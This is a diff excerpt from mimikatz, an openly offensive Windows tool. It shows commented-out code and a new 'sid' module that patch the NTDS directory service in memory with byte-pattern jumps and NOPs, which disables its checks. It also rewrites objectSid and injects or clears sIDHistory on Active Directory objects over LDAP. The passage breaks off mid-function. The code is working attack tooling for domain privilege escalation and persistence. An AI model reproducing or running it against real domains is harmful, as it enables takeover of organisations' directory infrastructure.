//BYTE PTRN_WN64_5[] = {0xc7, 0x44, 0x24, 0x74, 0x59, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN64_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN64_7[] = {0x8b, 0x84, 0x24, 0x6c, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN81_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN81_1[] = {0xc2, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN81_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN81_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x60, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN81_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN81_5[] = {0xc7, 0x44, 0x24, 0x74, 0x1c, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN81_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN81_7[] = {0x8b, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN80_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN80_1[] = {0xC1, 0x05, 0x1A, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN80_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN80_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN80_4[] = {0x49, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x8C, 0x24, 0x10, 0x05, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN80_5[] = {0xC7, 0x44, 0x24, 0x74, 0x1b, 0x07, 0x1A, 0x01, 0xE9}; // cmp r12
//BYTE PTRN_WN80_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN80_7[] = {0x44, 0x8B, 0x9C, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x81, 0xFB, 0xE8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_W8R2_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_W8R2_1[] = {0x96, 0x05, 0x1a, 0x01, 0x48}; // VerifyAuditingEnabled
////BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2010
//BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x00, 0x02, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2013
//BYTE PTRN_W8R2_3[] = {0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x70, 0x3b, 0xc6, 0x74};
//BYTE PTRN_W8R2_4[] = {0x05, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x3b, 0x50, 0x08, 0x75}; // fNullUuid
//BYTE PTRN_W8R2_5[] = {0xc7, 0x44, 0x24, 0x74, 0xed, 0x06, 0x1a, 0x01, 0x8b}; // cmp r14
//BYTE PTRN_W8R2_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_W8R2_7[] = {0x01, 0x00, 0x00, 0x41, 0x81, 0xfb, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//KULL_M_PATCH_MULTIPLE wservprev[] = {
// {{sizeof(PTRN_WN64_0), PTRN_WN64_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_1), PTRN_WN64_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN64_2), PTRN_WN64_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN64_3), PTRN_WN64_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN64_4), PTRN_WN64_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_5), PTRN_WN64_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN64_6), PTRN_WN64_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN64_7), PTRN_WN64_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12r2[] = {
// {{sizeof(PTRN_WN81_0), PTRN_WN81_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_1), PTRN_WN81_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN81_2), PTRN_WN81_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN81_3), PTRN_WN81_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN81_4), PTRN_WN81_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_5), PTRN_WN81_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN81_6), PTRN_WN81_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN81_7), PTRN_WN81_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12[] = {
// {{sizeof(PTRN_WN80_0), PTRN_WN80_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_1), PTRN_WN80_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN80_2), PTRN_WN80_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN80_3), PTRN_WN80_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN80_4), PTRN_WN80_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_5), PTRN_WN80_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN80_6), PTRN_WN80_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN80_7), PTRN_WN80_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 15,},
//};
//KULL_M_PATCH_MULTIPLE w2k8r2[] = {
// {{sizeof(PTRN_W8R2_0), PTRN_W8R2_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_W8R2_1), PTRN_W8R2_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -14,},
// {{sizeof(PTRN_W8R2_2), PTRN_W8R2_2}, {sizeof(PTRN_JMP), PTRN_JMP}, 27,},
// {{sizeof(PTRN_W8R2_3), PTRN_W8R2_3}, {sizeof(PTRN_JMP), PTRN_JMP}, 9,},
// {{sizeof(PTRN_W8R2_4), PTRN_W8R2_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -11,},
// {{sizeof(PTRN_W8R2_5), PTRN_W8R2_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -17,},
// {{sizeof(PTRN_W8R2_6), PTRN_W8R2_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_W8R2_7), PTRN_W8R2_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 20,},
//};
//
//NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[])
//{
// SERVICE_STATUS_PROCESS sNtds;
// HANDLE hProcess, hDs;
// KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iNtds;
// DWORD i, err;
//
// KULL_M_MEMORY_ADDRESS sAddress = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {NULL, NULL};
// KULL_M_MEMORY_SEARCH sSearch;
// BOOL littleSuccess = TRUE;
// PPOLICY_DNS_DOMAIN_INFO pDnsInfo;
// PKULL_M_PATCH_MULTIPLE pOs = NULL;
// DWORD pOsSz = 0;
//
// if(argc > 1)
// {
// if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8))
// {
// pOs = w2k8r2;
// pOsSz = ARRAYSIZE(w2k8r2);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_8) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE))
// {
// pOs = w2k12;
// pOsSz = ARRAYSIZE(w2k12);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_BLUE) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_10))
// {
// pOs = w2k12r2;
// pOsSz = ARRAYSIZE(w2k12r2);
// }
// else if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)
// {
// pOs = wservprev;
// pOsSz = ARRAYSIZE(wservprev);
// }
//
// if(pOs && pOsSz)
// {
// if(kull_m_net_getCurrentDomainInfo(&pDnsInfo))
// {
// err = DsBindW(NULL, NULL, &hDs);
// if(err == ERROR_SUCCESS)
// {
// if(kull_m_service_getUniqueForName(L"ntds", &sNtds))
// {
// if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, sNtds.dwProcessId))
// {
// if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aProcess.hMemory))
// {
// if(kull_m_process_getVeryBasicModuleInformationsForName(aProcess.hMemory, L"ntdsai.dll", &iNtds))
// {
// sSearch.kull_m_memoryRange.kull_m_memoryAdress = iNtds.DllBase;
// sSearch.kull_m_memoryRange.size = iNtds.SizeOfImage;
//
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
// pOs[i].LocalBackup.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
// pOs[i].LocalBackup.address = NULL;
// pOs[i].AdressOfPatch.hMemory = aProcess.hMemory;
// pOs[i].AdressOfPatch.address = NULL;
// pOs[i].OldProtect = 0;
//
// sAddress.address = pOs[i].Search.Pattern;
// if(kull_m_memory_search(&sAddress, pOs[i].Search.Length, &sSearch, TRUE))
// {
// if(pOs[i].LocalBackup.address = LocalAlloc(LPTR, pOs[i].Patch.Length))
// {
// pOs[i].AdressOfPatch.address = (PBYTE) sSearch.result + pOs[i].Offset;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].LocalBackup, &pOs[i].AdressOfPatch, pOs[i].Patch.Length)))
// {
// PRINT_ERROR_AUTO(L"kull_m_memory_copy (backup)");
// LocalFree(pOs[i].LocalBackup.address);
// pOs[i].LocalBackup.address = NULL;
// }
// }
// }
// else
// {
// kprintf(L"Search %u : ", i);
// PRINT_ERROR_AUTO(L"kull_m_memory_search");
// }
// }
//
// if(littleSuccess)
// {
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
//
// if(kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, PAGE_EXECUTE_READWRITE, &pOs[i].OldProtect))
// {
// sAddress.address = pOs[i].Patch.Pattern;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].AdressOfPatch, &sAddress, pOs[i].Patch.Length)))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// }
// else PRINT_ERROR_AUTO(L"kull_m_memory_protect");
// }
// }
//
// if(littleSuccess)
// {
// kprintf(L"SIDHistory for \'%s\'\n", argv[0]);
// for(i = 1; i < (DWORD) argc; i++)
// {
// kprintf(L" * %s\t", argv[i]);
// err = DsAddSidHistoryW(hDs, 0, pDnsInfo->DnsDomainName.Buffer, argv[i], NULL, NULL, pDnsInfo->DnsDomainName.Buffer, argv[0]);
// if(err == NO_ERROR)
// kprintf(L"OK\n");
// else PRINT_ERROR(L"DsAddSidHistory: 0x%08x (%u)!\n", err, err);
// }
// }
//
// for(i = 0; i < pOsSz; i++)
// {
// if(pOs[i].LocalBackup.address)
// {
// if(!kull_m_memory_copy(&pOs[i].AdressOfPatch, &pOs[i].LocalBackup, pOs[i].Patch.Length))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// LocalFree(pOs[i].LocalBackup.address);
// }
// if(pOs[i].OldProtect)
// kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, pOs[i].OldProtect, &pOs[i].OldProtect);
// }
// }
// kull_m_memory_close(aProcess.hMemory);
// }
// CloseHandle(hProcess);
// }
// else PRINT_ERROR_AUTO(L"OpenProcess");
// }
// err = DsUnBindW(&hDs);
// }
// else PRINT_ERROR(L"DsBind: %08x (%u)!\n", err, err);
// LsaFreeMemory(pDnsInfo);
// }
// } else PRINT_ERROR(L"OS not supported (only w2k8r2 & w2k12r2)\n");
// } else PRINT_ERROR(L"It requires at least 2 args\n");
// return STATUS_SUCCESS;
//}
//#endif
typedef NTSTATUS (NTAPI * PSPACCEPTCREDENTIALS)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
typedef FILE * (__cdecl * PFOPEN)(__in_z const char * _Filename, __in_z const char * _Mode);
typedef int (__cdecl * PFWPRINTF)(__inout FILE * _File, __in_z __format_string const wchar_t * _Format, ...);

View File

@ -20,7 +20,7 @@ NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_taskmgr(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_ncroutemon(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_detours(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[]);
//NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_memssp(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_skeleton(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_compressme(int argc, wchar_t * argv[]);

View File

@ -0,0 +1,445 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_sid.h"
const KUHL_M_C kuhl_m_c_sid[] = {
{kuhl_m_sid_lookup, L"lookup", L"Name or SID lookup"},
{kuhl_m_sid_query, L"query", L"Query object by SID or name"},
#ifdef _M_X64
{kuhl_m_sid_modify, L"modify", L"Modify object SID of an object"},
{kuhl_m_sid_add, L"add", L"Add a SID to sIDHistory of an object"},
{kuhl_m_sid_clear, L"clear", L"Clear sIDHistory of an object"},
{kuhl_m_sid_patch, L"patch", L"Patch NTDS Service"},
#endif
};
const KUHL_M kuhl_m_sid = {
L"sid", L"Security Identifiers module", NULL,
ARRAYSIZE(kuhl_m_c_sid), kuhl_m_c_sid, NULL, NULL
};
NTSTATUS kuhl_m_sid_lookup(int argc, wchar_t * argv[])
{
PWSTR name, domain;
PSID pSid;
SID_NAME_USE nameUse;
PCWCHAR szName;
if(kull_m_string_args_byName(argc, argv, L"sid", &szName, NULL))
{
if(ConvertStringSidToSid(szName, &pSid))
{
kprintf(L"SID : %s\n", szName);
if(IsValidSid(pSid))
{
if(kull_m_token_getNameDomainFromSID(pSid, &name, &domain, &nameUse))
{
kprintf(L"Type : %s\n"
L"Domain: %s\n"
L"Name : %s\n", kull_m_token_getSidNameUse(nameUse), domain, name);
LocalFree(name);
LocalFree(domain);
}
else PRINT_ERROR_AUTO(L"kull_m_token_getNameDomainFromSID");
}
else PRINT_ERROR(L"Invalid SID\n");
LocalFree(pSid);
}
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
}
else if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL))
{
kprintf(L"Name : %s\n", szName);
if(kull_m_token_getSidDomainFromName(szName, &pSid, &domain, &nameUse))
{
kprintf(L"Type : %s\n"
L"Domain: %s\n"
L"SID : ", kull_m_token_getSidNameUse(nameUse), domain);
kull_m_string_displaySID(pSid);
kprintf(L"\n");
LocalFree(pSid);
LocalFree(domain);
}
else PRINT_ERROR_AUTO(L"kull_m_token_getSidDomainFromName");
}
else PRINT_ERROR(L"/sid or /name is missing\n");
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_sid_query(int argc, wchar_t * argv[])
{
PLDAP ld;
PLDAPMessage pMessage = NULL;
if(kuhl_m_sid_quickSearch(argc, argv, FALSE, &ld, &pMessage))
{
if(pMessage)
ldap_msgfree(pMessage);
ldap_unbind(ld);
}
return STATUS_SUCCESS;
}
#ifdef _M_X64
NTSTATUS kuhl_m_sid_modify(int argc, wchar_t * argv[])
{
PLDAP ld;
DWORD dwErr;
PCWCHAR szName;
PLDAPMessage pMessage = NULL;
BERVAL NewSid;
PBERVAL pNewSid[2] = {&NewSid, NULL};
LDAPMod Modification = {LDAP_MOD_REPLACE | LDAP_MOD_BVALUES, L"objectSid"};
PLDAPMod pModification[2] = {&Modification, NULL};
Modification.mod_vals.modv_bvals = pNewSid;
if(kull_m_string_args_byName(argc, argv, L"new", &szName, NULL))
{
if(ConvertStringSidToSid(szName, (PSID *) &NewSid.bv_val))
{
if(IsValidSid((PSID) NewSid.bv_val))
{
NewSid.bv_len = GetLengthSid((PSID) NewSid.bv_val);
if(kuhl_m_sid_quickSearch(argc, argv, TRUE, &ld, &pMessage))
{
kprintf(L"\n * Will try to modify \'%s\' to \'", Modification.mod_type);
kull_m_string_displaySID(NewSid.bv_val);
kprintf(L"\': ");
dwErr = ldap_modify_s(ld, ldap_get_dn(ld, pMessage), pModification);
if(dwErr == LDAP_SUCCESS)
kprintf(L"OK!\n");
else PRINT_ERROR(L"ldap_modify_s 0x%x (%u)\n", dwErr, dwErr);
if(pMessage)
ldap_msgfree(pMessage);
ldap_unbind(ld);
}
}
else PRINT_ERROR(L"Invalid SID\n");
LocalFree(NewSid.bv_val);
}
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
}
else PRINT_ERROR(L"/new:sid is needed");
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_sid_add(int argc, wchar_t * argv[])
{
PLDAP ld;
DWORD dwErr;
PCWCHAR szName;
PWCHAR domain = NULL;
PLDAPMessage pMessage = NULL;
BERVAL NewSid;
PBERVAL pNewSid[2] = {&NewSid, NULL};
LDAPMod Modification = {LDAP_MOD_ADD | LDAP_MOD_BVALUES, L"sIDHistory"};
PLDAPMod pModification[2] = {&Modification, NULL};
Modification.mod_vals.modv_bvals = pNewSid;
if(kull_m_string_args_byName(argc, argv, L"new", &szName, NULL))
{
if(ConvertStringSidToSid(szName, (PSID *) &NewSid.bv_val) || kull_m_token_getSidDomainFromName(szName, (PSID *) &NewSid.bv_val, &domain, NULL))
{
if(IsValidSid((PSID) NewSid.bv_val))
{
NewSid.bv_len = GetLengthSid((PSID) NewSid.bv_val);
if(kuhl_m_sid_quickSearch(argc, argv, TRUE, &ld, &pMessage))
{
kprintf(L"\n * Will try to add \'%s\' this new SID:\'", Modification.mod_type);
kull_m_string_displaySID(NewSid.bv_val);
kprintf(L"\': ");
dwErr = ldap_modify_s(ld, ldap_get_dn(ld, pMessage), pModification);
if(dwErr == LDAP_SUCCESS)
kprintf(L"OK!\n");
else PRINT_ERROR(L"ldap_modify_s 0x%x (%u)\n", dwErr, dwErr);
if(pMessage)
ldap_msgfree(pMessage);
ldap_unbind(ld);
}
}
else PRINT_ERROR(L"Invalid SID\n");
LocalFree(NewSid.bv_val);
if(domain)
LocalFree(domain);
}
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid / kull_m_token_getSidDomainFromName");
}
else PRINT_ERROR(L"/new:sid or /new:resolvable_name is needed");
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_sid_clear(int argc, wchar_t * argv[])
{
PLDAP ld;
DWORD dwErr;
PLDAPMessage pMessage = NULL;
LDAPMod Modification = {LDAP_MOD_DELETE, L"sIDHistory", NULL};
PLDAPMod pModification[2] = {&Modification, NULL};
if(kuhl_m_sid_quickSearch(argc, argv, TRUE, &ld, &pMessage))
{
kprintf(L"\n * Will try to clear \'%s\': ", Modification.mod_type);
dwErr = ldap_modify_s(ld, ldap_get_dn(ld, pMessage), pModification);
if(dwErr == LDAP_SUCCESS)
kprintf(L"OK!\n");
else if(dwErr == LDAP_NO_SUCH_ATTRIBUTE)
PRINT_ERROR(L"No sIDHistory attribute\n");
else PRINT_ERROR(L"ldap_modify_s 0x%x (%u)\n", dwErr, dwErr);
if(pMessage)
ldap_msgfree(pMessage);
ldap_unbind(ld);
}
return STATUS_SUCCESS;
}
BYTE PTRN_JMP[] = {0xeb};
BYTE PTRN_JMP_NEAR[] = {0x90, 0xe9};
BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
#ifdef _M_X64
// LocalModify:SampModifyLoopbackCheck
BYTE PTRN_WN52_LoopBackCheck[] = {0x48, 0x8b, 0xd8, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x07, 0x01, 0x00, 0x00, 0x00, 0x83};
BYTE PTRN_WN61_LoopBackCheck[] = {0x48, 0x8b, 0xf8, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x44, 0x89, 0x33, 0x33, 0xdb, 0x39};
BYTE PTRN_WN81_LoopBackCheck[] = {0x41, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x45, 0x89, 0x34, 0x24, 0x83};
KULL_M_PATCH_GENERIC LoopBackCheckReferences[] = {
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WN52_LoopBackCheck), PTRN_WN52_LoopBackCheck}, {sizeof(PTRN_JMP_NEAR), PTRN_JMP_NEAR}, {24}},
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_LoopBackCheck), PTRN_WN61_LoopBackCheck}, {sizeof(PTRN_JMP_NEAR), PTRN_JMP_NEAR}, {28}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN81_LoopBackCheck), PTRN_WN81_LoopBackCheck}, {sizeof(PTRN_JMP), PTRN_JMP}, {17}},
};
// ModSetAttsHelperPreProcess:SysModReservedAtt
BYTE PTRN_WN52_SysModReservedAtt[] = {0x0f, 0xb7, 0x8c, 0x24, 0xc8, 0x00, 0x00, 0x00};
BYTE PTRN_WN61_SysModReservedAtt[] = {0x0f, 0xb7, 0x8c, 0x24, 0x78, 0x01, 0x00, 0x00, 0x4d, 0x8b, 0x6d, 0x00};
BYTE PTRN_WN81_SysModReservedAtt[] = {0x0f, 0xb7, 0x8c, 0x24, 0xb8, 0x00, 0x00, 0x00};
KULL_M_PATCH_GENERIC SysModReservedAttReferences[] = {
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WN52_SysModReservedAtt), PTRN_WN52_SysModReservedAtt}, {sizeof(PTRN_6NOP), PTRN_6NOP}, {-6}},
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_SysModReservedAtt), PTRN_WN61_SysModReservedAtt}, {sizeof(PTRN_6NOP), PTRN_6NOP}, {-6}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN81_SysModReservedAtt), PTRN_WN81_SysModReservedAtt}, {sizeof(PTRN_6NOP), PTRN_6NOP}, {-6}},
};
#elif defined _M_IX86
#endif
NTSTATUS kuhl_m_sid_patch(int argc, wchar_t * argv[])
{
PCWSTR service, lib;
if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_VISTA)
{
service = L"samss";
lib = L"ntdsa.dll";
}
else
{
service = L"ntds";
lib = L"ntdsai.dll";
}
kprintf(L"Patch 1/2: ");
if(kull_m_patch_genericProcessOrServiceFromBuild(LoopBackCheckReferences, sizeof(LoopBackCheckReferences), service, lib, TRUE))
{
kprintf(L"Patch 2/2: ");
kull_m_patch_genericProcessOrServiceFromBuild(SysModReservedAttReferences, sizeof(SysModReservedAttReferences), service, lib, TRUE);
}
return STATUS_SUCCESS;
}
#endif
void kuhl_m_sid_displayMessage(PLDAP ld, PLDAPMessage pMessage)
{
PLDAPMessage pEntry;
PWCHAR pAttribute, name, domain;
BerElement* pBer = NULL;
PBERVAL *pBerVal;
DWORD i;
SID_NAME_USE nameUse;
for(pEntry = ldap_first_entry(ld, pMessage); pEntry; pEntry = ldap_next_entry(ld, pEntry))
{
kprintf(L"\n%s\n", ldap_get_dn(ld, pEntry));
for(pAttribute = ldap_first_attribute(ld, pEntry, &pBer); pAttribute; pAttribute = ldap_next_attribute(ld, pEntry, pBer))
{
kprintf(L" %s: ", pAttribute);
if(pBerVal = ldap_get_values_len(ld, pEntry, pAttribute))
{
if(
(wcsicmp(pAttribute, L"name") == 0) ||
(wcsicmp(pAttribute, L"sAMAccountName") == 0)
)
{
kprintf(L"%*S\n", pBerVal[0]->bv_len, pBerVal[0]->bv_val);
}
else if((wcsicmp(pAttribute, L"objectSid") == 0))
{
kull_m_string_displaySID(pBerVal[0]->bv_val);
kprintf(L"\n");
}
else if((wcsicmp(pAttribute, L"objectGUID") == 0))
{
kull_m_string_displayGUID((LPGUID) pBerVal[0]->bv_val);
kprintf(L"\n");
}
else
{
for(i = 0; pBerVal[i]; i++)
{
kprintf(L"\n [%u] ", i);
if((wcsicmp(pAttribute, L"sIDHistory") == 0))
{
kull_m_string_displaySID(pBerVal[i]->bv_val);
if(kull_m_token_getNameDomainFromSID(pBerVal[i]->bv_val, &name, &domain, &nameUse))
{
kprintf(L" ( %s -- %s\\%s )", kull_m_token_getSidNameUse(nameUse), domain, name);
LocalFree(name);
LocalFree(domain);
}
}
else kull_m_string_wprintf_hex(pBerVal[i]->bv_val, pBerVal[i]->bv_len, 1);
}
kprintf(L"\n");
}
ldap_value_free_len(pBerVal);
}
ldap_memfree(pAttribute);
}
if(pBer)
ber_free(pBer, 0);
}
}
BOOL kuhl_m_sid_quickSearch(int argc, wchar_t * argv[], BOOL needUnique, PLDAP *ld, PLDAPMessage *pMessage)
{
BOOL status = FALSE;
DWORD dwErr;
PWCHAR myAttrs[] = {L"name", L"sAMAccountName", L"objectSid", L"sIDHistory", L"objectGUID", NULL}, dn, filter;
if(filter = kuhl_m_sid_filterFromArgs(argc, argv))
{
if(kuhl_m_sid_getLdapAndRootDN(ld, &dn))
{
*pMessage = NULL;
dwErr = ldap_search_s(*ld, dn, LDAP_SCOPE_SUBTREE, filter, myAttrs, FALSE, pMessage);
if(status = (dwErr == LDAP_SUCCESS))
{
switch(ldap_count_entries(*ld, *pMessage))
{
case 0:
status = FALSE;
PRINT_ERROR(L"No result! - filter was \'%s\'\n", filter);
break;
case 1:
break;
default:
if(needUnique)
{
PRINT_ERROR(L"Not unique - Please: don\'t brick your AD! - filter was \'%s\'\n", filter);
status = FALSE;
}
break;
}
}
else PRINT_ERROR(L"ldap_search_s 0x%x (%u)\n", dwErr, dwErr);
if(status)
kuhl_m_sid_displayMessage(*ld, *pMessage);
else
{
if(*pMessage)
ldap_msgfree(*pMessage);
ldap_unbind(*ld);
}
LocalFree(dn);
}
LocalFree(filter);
}
return status;
}
PWCHAR kuhl_m_sid_filterFromArgs(int argc, wchar_t * argv[])
{
PWCHAR filter = NULL;
PCWCHAR szName;
DWORD i, sidLen;
size_t buffLen;
PSID pSid;
if(kull_m_string_args_byName(argc, argv, L"sam", &szName, NULL))
{
buffLen = wcslen(L"(sAMAccountName=") + wcslen(szName) + wcslen(L")") + 1;
if(filter = (PWCHAR) LocalAlloc(LPTR, buffLen * sizeof(wchar_t)))
{
if(swprintf_s(filter, buffLen, L"(sAMAccountName=%s)", szName) != (buffLen - 1))
filter = (PWCHAR) LocalFree(filter);
}
}
else if(kull_m_string_args_byName(argc, argv, L"sid", &szName, NULL))
{
if(ConvertStringSidToSid(szName, &pSid))
{
if(IsValidSid(pSid))
{
sidLen = GetLengthSid(pSid);
buffLen = wcslen(L"(objectSid=") + (sidLen * 3) + wcslen(L")") + 1;
